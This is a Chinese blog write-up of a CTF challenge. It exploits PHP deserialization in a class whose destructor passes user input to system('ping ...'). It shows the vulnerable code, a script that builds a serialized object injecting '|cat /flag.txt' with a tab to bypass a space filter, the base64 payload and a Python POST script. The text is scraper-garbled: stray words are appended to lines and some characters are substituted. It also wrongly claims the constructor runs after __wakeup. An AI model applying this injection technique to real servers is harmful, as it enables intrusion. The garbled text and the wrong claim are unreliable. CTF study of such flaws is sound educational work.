CTF中PHP反序列化和命令注入的一次簡單利用

代碼來自第六屆防災科技學院網絡安全技能大賽,侵刪。php

目標

獲取Linux服務器根目錄下的flagpython

代碼

/*home.php*/
class home{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

    function ping($host){
        system("ping -c 2 $host");
    }
    function waf($str){
        $str=str_replace(' ','',$str);
        return $str;
    }

    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
        }
    }   
}
$a=@$_POST['a'];
@unserialize(base64_decode($a));

分析

該PHP文件只接收一個base64編碼的POST參數,將其解碼後會進行反序列化操做。mysql

在執行__wakeup()方法以後,會觸發__construct()方法進行初始化,該方法沒有能夠利用的地方。sql

當全部的操做執行完畢以後,須要釋放序列化的對象,觸發__destruct()魔術方法。該方法只容許執行類中的ping方法,並會將args的值做爲ping方法host參數。shell

ping中存在可控參數$host,且調用了system函數,這裏即可以做爲一個利用點。能夠構造一個特殊的payload:安全

ping -c 2 127.0.0.1|cat /flag.txt
#不惟一

利用

整理上面的思路可知,若想獲得flag最終要構造出以下的args字符串:服務器

127.0.0.1|cat /flag.txt

而waf等方法又過濾掉了空格,這裏能夠經過將空格換成Tab來繞過該限制。
同時還要注意method必須爲ping。網絡

這裏獲得了構造payload的最終PHP腳本:函數

class home{
    
    private $method;
    private $args; 
}
	$a = new home("ping",array('127.0.0.1|cat 	/flag.txt'));
	$b = serialize($a);
	echo base64_encode($b);

payloadpost

Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==

發送payload獲得flag

import requests
data ={"a":"Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ=="}
url = 'http://localhost/common/home.php'
r = requests.post(url,data=data)
print(r.text)
#result:flag{glzjin_wants_a_girl_friend}

本文分享 CNBlog - kevin_bruce。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索